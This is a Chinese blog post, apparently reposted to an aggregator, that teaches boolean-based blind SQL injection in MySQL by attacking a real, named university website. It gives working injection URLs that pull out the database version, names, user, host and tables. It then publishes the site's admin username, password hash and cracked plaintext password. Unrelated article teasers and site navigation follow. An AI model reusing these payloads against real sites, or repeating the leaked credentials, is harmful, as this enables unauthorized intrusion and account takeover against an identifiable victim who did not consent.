Mysql 高级盲注之布尔型盲注【sqli blind】
什么是盲注 [sqli blind]?
盲注通常都是专门为了对付目标页面错误处理的比较好的这种情况,也就是说,有时即使目标存在注入,因为在页面上没有任何回显,此时再想利用常规的union曝数据字段可能就不大现实了,于是后来就被人发现了盲注这种技巧,关于盲注的常用类型,主要有三种,基于时间,布尔,错误[实际遇到的非常少]的盲注,不过我们今天暂时只针对布尔型盲注做详细说明,关于其它的技巧,后续还会再单独说明,其实,也算不上什么很高级的技巧,都是一些很基础的堆砌,废话不多说,最好的办法还是直接通过实战来透彻理解盲注
此次用于实战演示的布尔型盲注点,如下,页面正常情况下是这个样子的
https://www.vgu.ac.in/photo-gallery.php?id=1
还是先简单的判断下目标是否真的存在注入,当我尝试用 ‘\’干扰时,发现数据库已经报错了
https://www.vgu.ac.in/photo-gallery.php?id=1\
既然报错,就差不多说明,这已经是个注入点了,下面只需要想办法把它的sql语句成功闭合掉即可,也许在这里一眼看去,很可能以为它就是个普通的数字型注入点,其实,它是个字符型注入,这一点在实战中一定要注意,有时候发现数字闭合成功,要马上想到它也可能是个字符型的,因为这个数字到后端很可能是被当成一个字符串来处理的,如下,当我们条件为真时,页面返回正常
https://www.vgu.ac.in/photo-gallery.php?id=1' and 12=12 and 'sec'='sec
当我们的条件为假时,页面返回异常,这也说明我们的闭合没有问题,既然没有问题,我们就可以开始查各种数据了
https://www.vgu.ac.in/photo-gallery.php?id=1' and 12=121 and 'sec'='sec
还是严格按照之前的流程,只不过这次查数据的方式,可能稍微不那么直观了
查询数据库版本,大家可能也看到了,盲注的本质,其实就是逐个字符的截取判断,像这种重复性的操作,如果纯手工来的话,估计得累死,还是老办法,我们直接拿burpsuite跑一下就好了,根据经验,像版本号一般都不会太长,20个足矣,常用的ascii码值,一般也都会在32-127之间,下面只是跑第一位字符,后面你还可以接着把第二位,第三位……字符都按同样的方法跑出来,像这些基础函数在前面都已经详细说明过了,实在不明白可以去看那个
https://www.vgu.ac.in/photo-gallery.php?id=1' and (select ascii(substring((select version()),1,1))=53) and 'sec'='sec
我们发现,数字跑到53时抛出响应了异常,说明版本号第一位字符的ascii码值为53,其对应的字符为 ‘5’,篇幅原因,我就不一一的跑了,通过逐个位遍历,我们最终得到的完整版本号为 '5.5.57-cll'
查询当前数据库名, 依然是一位位的截取遍历判断
https://www.vgu.ac.in/photo-gallery.php?id=1' and (select ascii(substring((select database()),1,1))=112) and 'sec'='sec
我们看到数据库名的第一个字符对应的ascii码值为118,其对应的字符为’v’,遍历后的最终结果为'vguac_web'
查询当前数据库用户名
https://www.vgu.ac.in/photo-gallery.php?id=1' and (select ascii(substring((select user()),1,1))=112) and 'sec'='sec
通过逐个位遍历,最终得到的数据库用户名为 'vguac_webuser@localhost'
查询目标系统平台,遍历可知,目标系统平台为 'Linux'
https://www.vgu.ac.in/photo-gallery.php?id=1' and (select ascii(substring((select @@compile_version_os),1,1))=112) and 'sec'='sec
查询数据存放目录,其最终结果为 '/var/lib/mysql/'
查询Mysql安装目录, 其最终结果为 '/usr'
查询当前机器的机器名,最终结果为,'dw1.dnsystemz.com',从这个机器名来看,看样子是个虚拟机
查出所有数据库名,没啥好说的,还是逐个字符进行遍历出所有的库名,最终查出所有的库名分别为
'information_schema','vguac_web'
从'vguac_web'库中,找到管理表,通过遍历出所有的表名,我们发现了'login_user'疑似为其管理表
读出'login_user'表中的所有字段名,最终,依旧是通过遍历,我们得到有效的账号密码字段分别为
'username','password'
有了账号密码字段名,下一步直接去遍历出字段下的所有数据即可,如下
https://www.vgu.ac.in/photo-gallery.php?id=1' and (select ascii(substring((select username from login_user limit 0,1),1,1))=65) and 'sec'='sec
https://www.vgu.ac.in/photo-gallery.php?id=1' and (select ascii(substring((select password from login_user limit 0,1),1,1))=65) and 'sec'='sec
最终,我们得到的完整的目标网站管理员账号和密码hash 如下,至此,基于常规布尔型的纯手工盲注就差不多可以结束了,后台我就不找了,重要的还是大家真正的理解,拿不拿shell暂时无关紧要:
admin | 5fec4ba8376f207d1ff2f0cac0882b01 [admin!@#]
往期精彩
登陆页面的检测及渗透
渗透实战篇(一)
渗透测试信息收集的方法
常见Web中间件漏洞利用及修复方法
内网渗透 | 流量转发场景测试
Waf从入门到Bypass
实战渗透-看我如何拿下学校的大屏幕
技术篇:bulldog水平垂直越权+命令执行+提权
渗透工具实战技巧大合集 | 先收藏点赞再转发一气呵成
感兴趣的可以点个关注!!!
本文分享自微信公众号 - 安全先师(gh_d61f62dd440d)。
如有侵权,请联系 support@oschina.cn 删除。
本文参与“OSC源创计划”,欢迎正在阅读的你也加入,一起分享。

低调大师中文资讯倾力打造互联网数据资讯、行业资源、电子商务、移动互联网、网络营销平台。
持续更新报道IT业界、互联网、市场资讯、驱动更新,是最及时权威的产业资讯及硬件资讯报道平台。
转载内容版权归作者及来源网站所有,本站原创内容转载请注明来源。
- 上一篇
教懂你什么是 “ 流量劫持 ”
喜欢就关注我们吧! 概述 : Wo - 公号「八点半技术站」的创作者 - Bruce.D (姓氏:豆)。 今日主题:流量劫持、大家经常会看到公司的一些首页被插入一些小广告,这也就是流量劫持,今儿分享一下当前劫持的几个方法以及防劫持知识。 欢迎各位加入社群,技术交流不分语言、不分高低 。(本篇阅读预计花费:7分钟) 内容 : 流量 劫持划分成3大部分: DNS劫持、数据劫持、劫持监控。 DNS劫持: 首先聊聊这个,域名劫持是互联网一种攻击方式,通过攻击 DNS服务器或者 伪造DNS 服务器方法,把目标服务器网站域名解析到错误地方,让用户无法正常访问真正的地址。 这里提问一个问题:那么 DNS是如何工作的呢? 客户端访问服务端的时候,首先要根据域名获取对应的IP地址,这一步要 在DNS服务器进行获取。请求DNS服务器的时候,需要通过UDP协议去寻找当地网络的运营商提供的公共域名服务器中查找IP。 如果没有找到,就会继续请求上级域名服务器进行处理,一直到返回IP为止。 域名劫持,即使是在请求 DNS解析域名时候出现的问题,目标域名被恶意解析到其他IP地址,造成用户无法正常使用服务。 为了减少...
- 下一篇
Egret Engine 5.3.9 版本发布,支持华为快游戏平台
今天白鹭引擎正式发布了Egret Engine 5.3.9版本,在这一版本中主要完成了华为快游戏平台的对接支持,方便开发者一键发布游戏至华为快游戏平台。同时,修复了大家反馈的Webgl 模式显示模糊问题和360小游戏导出龙骨库失败问题,有项目需求的朋友可下载更新! 现在,Egret Engine 5.3系列的社区体验版开发已接近尾声,稍后会正式推出Egret Engine 5.4系列稳定版,届时开发者朋友们可关注、下载更新! 在使用Egret Engine过程中,如果您遇到问题可以联系官方客服微信号:egretengine,我们会帮您尽快解决! 以下是今天的重点华为快游戏平台接入指南(建议收藏): 一、开发环境准备 注册华为快游戏账号; 账号登陆、用户信息等系统功能,请调用平台提供的 API。 注意最终发布的 rpk 文件总大小不能超过 10 MB。 备注:账号注册地址、快游戏平台API说明文档, 点击阅读原文同一位置查看! 二.创建小游戏和可视化编译打包小游戏 1.使用 Egret Launcher 创建一个游戏项目,或者将原有的 Egret 项目导入; 2.导入或者创建完成后,会在...
相关文章
文章评论
共有0条评论来说两句吧...
文章二维码
点击排行
推荐阅读
最新文章
- Windows10,CentOS7,CentOS8安装MongoDB4.0.16
- SpringBoot2初体验,简单认识spring boot2并且搭建基础工程
- CentOS6,CentOS7官方镜像安装Oracle11G
- Red5直播服务器,属于Java语言的直播服务器
- SpringBoot2更换Tomcat为Jetty,小型站点的福音
- SpringBoot2整合Thymeleaf,官方推荐html解决方案
- SpringBoot2整合Redis,开启缓存,提高访问速度
- CentOS8安装MyCat,轻松搞定数据库的读写分离、垂直分库、水平分库
- CentOS7安装Docker,走上虚拟化容器引擎之路
- CentOS7设置SWAP分区,小内存服务器的救世主